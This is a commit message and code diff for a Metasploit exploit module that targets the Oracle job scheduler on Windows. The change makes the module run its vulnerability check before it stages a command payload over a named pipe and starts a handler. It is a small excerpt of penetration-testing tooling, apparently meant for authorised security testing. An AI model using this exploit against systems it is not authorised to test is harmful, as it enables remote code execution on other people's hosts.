This oracle scheduler exploit hangs if not vuln

When this exploit gets run against a system that isn't vulnerable
it can hang for a signifigant ammount of time. This change uses the check
method on the exploit to see whether it should proceed. Don't try to exploit
the host if it's not vulnerable.

modules/exploits/windows/oracle/extjob.rb

@@ -53,9 +53,13 @@ class Metasploit3 < Msf::Exploit::Remote
   end
 
   def exploit
-    print_status("Exploiting through \\\\#{datastore['RHOST']}\\orcljsex#{datastore['SID']} named pipe...")
-    execute_cmdstager({:linemax => 1500})
-    handler
+    if check == Exploit::CheckCode::Vulnerable
+      print_status("Exploiting through \\\\#{datastore['RHOST']}\\orcljsex#{datastore['SID']} named pipe...")
+      execute_cmdstager({:linemax => 1500})
+      handler
+    else
+      print_error "#{rhost} does not appear to be vulnerable!"
+    end
   end
 
   def execute_command(cmd, opts)